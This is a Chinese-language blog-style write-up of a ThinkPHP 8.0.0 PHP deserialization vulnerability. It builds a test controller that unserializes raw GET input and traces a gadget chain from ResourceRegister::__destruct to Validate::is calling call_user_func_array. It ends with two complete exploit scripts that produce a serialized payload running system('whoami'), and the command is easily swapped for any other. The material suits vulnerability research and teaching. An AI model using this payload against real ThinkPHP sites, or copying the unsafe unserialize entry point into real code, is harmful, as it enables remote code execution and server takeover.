ThinkPHP 8.0.0 反序列化漏洞
环境搭建
- 安装thinkphp8.0.0
- 编写一个反序列化入口
<?php
namespace app\controller;
use app\BaseController;
class Index extends BaseController
{
public function index()
{
$a = $_GET['a'] ?? '';
$data = unserialize($a);
echo $data;
return 'hello thinkphp 8!........unserialize........:)';
}
public function hello($name = 'ThinkPHP8')
{
return 'hello,' . $name;
}
}
代码审计
反序列化起点无非是destruct或wakeup方法,wakeup一般用于作对象初始化,多选择destruct方法作为起点
寻找入口
全局搜索__destruct(Ctrl+Shift+F)

发现只有两个地方定义了__destruct方法
Connection.php
vendor/topthink/think-orm/src/db/Connection.php

这是一个用于关闭数据库连接的函数,它定义在一个抽象类connection中,这个类实现了ConnectionInterface接口,__destruct方法调用的是接口中的close方法,这里想利用需要寻找其子类
全局搜索:extends Connection

这两个类的close方法都是些赋值语句,没有可以调用的方法
ResourceRegister.php
vendor/topthink/framework/src/think/route/ResourceRegister.php

既然上面那个入口没有办法利用,我们就从这个入口来进行分析
sink点选择
选好了sink和source,这样就不会像无头苍蝇,在调用链选择上尽量往我们的sink点靠就好啦,这里先做简单理论
sink点就是执行恶意代码的漏洞点,大多框架的反序列化sink点会选择call方法,也就是说一般危险操作都在call函数里执行,这个漏洞利用的是vendor/topthink/framework/src/think/Validate.php#__call()方法。
__call()

当触发__call()之后,被调用的不存在的方法会作为__call()的第一个参数,其参数会以数组的形式赋值给__call()的第二个参数
然后就会调用call_user_func_array([$this, 'is'], $args);
这里相当于call_user_func_array(this->is(), $args);其实就是调用is()方法,然后将$args作为参数传给is(),也就是说在is()这个方法里,他的所有参数都是可控的。
is()

可以看到这里的call_user_func_array()的两个参是变量,所以我们的最终目的就是调用call_user_func_array()来调用任意方法。
$this->type[$rule]
将type键名为$rule的值定义为要调用的函数,type直接赋值就好
[$value]
命令的参数,需要__call()传入
也就是$arg只需要传一个字符串类型的参数,作为被调用命令的参数
条件:
- 通过if判断
if (isset($this->type[$rule]))
要满足type这个数组中有键名为$rule的元素,type是Validate类中一个定义为空的数组。
参数:
call_user_func_array($this->type[$rule], [$value]);
type中的$rule键对应的值就是要调用的函数,$value直接作为被调函数的参数
分析调用链
__destruct()
vendor/topthink/framework/src/think/route/ResourceRegister.php

由于registered默认为flase,所以这里会自动调用register()
register()

由于这个函数的resource可控,这里就可以在$this->resource->getRule()去触发call方法,只需要将resource赋值为一个不存在的类,但是getRule()方法是无参的,也就是说没有办法给__call()方法中的$args参数传参,无法进行进一步的利用。所以这个思路不行。
parseGroupRule()

getRule()方法就是返回一个字符串作为参数$rule,这个值也是可控的,跟进parseGroupRule()发现这里存在大量的字符串拼接操作,于是我们考虑触发__toString()方法
首先一眼看到这串代码
$rule = implode('/', $item) . '/' . $last;
它将$item的元素用/进行分割,然后在后面拼接/和$last,要触发__toString()就要将$last赋值为一个实例化对象
找找$last的相关定义
$array = explode('.', $rule);
$last = array_pop($array);
发现$last由$rule定义,只能为字符串,所以这个地方不能触发__toString()
继续往下看
foreach ($array as $val) {
$item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>';
}
这个foreach循环,首先将$array中的每个元素便利为$val,然后进行了一个字符串拼接操作:先是$val和'/<'拼接,然后拼接($option['var'][$val] ?? $val . '_id'),这里是一个三元运算符,如果$option['var'][$val]存在,就将($option['var'][$val]和前面的值拼接,如果这个值不存在,就将$val和'_id'拼接,然后再和前面拼接,最后再拼接一个'>'
$val是不可能为一个对象的,那么只能让$option['var'][$val]为一个对象
以类似如下的方式传参即可
$this->rule = "1.1";
$this->option = ["var" => ["1" => new \think\model\Pivot()]];
__toString()
这里选择我们的老朋友
vendor/topthink/think-orm/src/model/concern/Conversion.php

toJson()

toArray()

appendAttrToArray()

getRelationWith()

我们可以在这个地方触发__call()方法
$relation->visible($visible[$key]);
也就是要将$relation赋值为一个没有定义visible方法的对象,$visible[$key]就会传给__call()的第二个参数
先分析$relation:
他是由以下代码定义的
$relation = $this->getRelation($key, true);
跟进getRelation()

if (array_key_exists($name, $this->relation)) {
return $this->relation[$name];return $this->relation[$name];
只要满足了this->relation中有一个名为$name的键,就会返回relation中$name对应的值,这个值就可以被赋值为一个对象,为了满足这个条件,我们去找找$name是怎么定义的
通过函数的参数传递,我们最终在toarray()方法里找到了$name的定义

这里的$key就会最终被赋值给$name
可以看到他是append的一个键,我们只需要在append数组中赋值一个键值对,他的键和我们定义的relation数组的键名相等就可以了。使用类似如下的定义方法
$this->relation=["1"=>new Validate()];
$this->visible=["1"=>new ConstStub()];
再分析$visible[$key]:
在toarray()里,为$visible进行了一个赋值操作,它将this->visible进行了一个遍历,然后赋值给$visible

在sink点选择我们就分析过:$arg只需要传一个字符串类型的参数,作为被调用命令的参数
这里就会遇到一个问题,我们要$visible[$key]为一个字符串,但是如果$val是一个字符串,那就不能按我们想要的方式去赋值,那么怎么办呢?这个地方确实很难想,按照漏洞发现者的想法,他将$val赋值为一个对象,然后这个对象会被传给__call(),但是在后续函数调用的时候,这个参数被当作字符串处理,于是就会触发__tostring(),如果__tostring()恰好可以返回一个可控字符串,那么这个字符串就会作为__call()的参数返回
vendor/symfony/var-dumper/Caster/ConstStub.php

这个函数正好满足要求,并且$value也可以直接赋值
__call()

按照上面的分析,触发和传参都搞定了。
is()

最后就将type的$rule键赋值为命令就好了
构造exp
exp0.php
<?php
namespace think\route{
class ResourceRegister{
public $resource;
public function __construct($resource) {
$this->resource = $resource;
}
}
class RuleGroup extends Rule{
public function __construct($rule, $router, $option){
parent::__construct($rule, $router, $option);
}
}
class Resource extends RuleGroup{
public function __construct($rule, $router, $option){
parent::__construct($rule, $router, $option);
}
}
abstract class Rule{
public $rest = ['key' => [1 => '<id>']];
public $name = "name";
public $rule;
public $router;
public $option;
public function __construct($rule, $router, $option){
$this->rule = $rule;
$this->router = $router;
$this->option = ['var' => ['nivia' => $option]];
}
}
}
namespace think {
class Route{}
abstract class Model{
private $relation;
protected $append = ['Nivia' => "1.2"];
protected $visible;
public function __construct($visible, $call){
$this->visible = [1 => $visible];
$this->relation = ['1' => $call];
}
}
class Validate{
protected $type;
public function __construct(){
$this->type = ['visible' => "system"];//function
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
public function __construct($visible, $call){
parent::__construct($visible, $call);
}
}
}
namespace Symfony\Component\VarDumper\Caster{
use Symfony\Component\VarDumper\Cloner\Stub;
class ConstStub extends Stub{}
}
namespace Symfony\Component\VarDumper\Cloner{
class Stub{
public $value = "whoami"; //cmd
}
}
namespace {
$call = new think\Validate;
$option = new think\model\Pivot(new Symfony\Component\VarDumper\Caster\ConstStub, $call);
$router = new think\Route;
$resource = new think\route\Resource("abc.nivia", $router , $option);
$resourceRegister = new think\route\ResourceRegister($resource);
echo urlencode(serialize($resourceRegister));
}
exp1.php
<?php
namespace Symfony\Component\VarDumper\Cloner;
class Stub{}
namespace Symfony\Component\VarDumper\Caster;
use Symfony\Component\VarDumper\Cloner\Stub;
class ConstStub extends Stub
{
public $value="whoami";
}
namespace think;
use Symfony\Component\VarDumper\Caster\ConstStub;
class Validate{
protected $type;
public function __construct(){
$this->type=["visible"=>"system"];
}
}
abstract class Model{
protected $append=["a"=>"1.1"];
private $relation;
protected $visible;
public function __construct(){
$this->relation=["1"=>new Validate()];
$this->visible=["1"=>new ConstStub()]; //不能为字符串,怎么办?
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
namespace think\route;
use Symfony\Component\VarDumper\Caster\ConstStub;
use think\Validate;
class Resource {
public function __construct()
{
$this->rule = "1.1";
$this->option =["var" => ["1" => new \think\model\Pivot()]];
}
}
class ResourceRegister
{
protected $resource;
public function __construct()
{
$this->resource = new Resource();
}
public function __destruct()
{
$this->register();
}
protected function register()
{
$this->resource->parseGroupRule($this->resource->getRule());
}
}
$obj = new ResourceRegister();
echo urlencode(serialize($obj));


浙公网安备 33010602011771号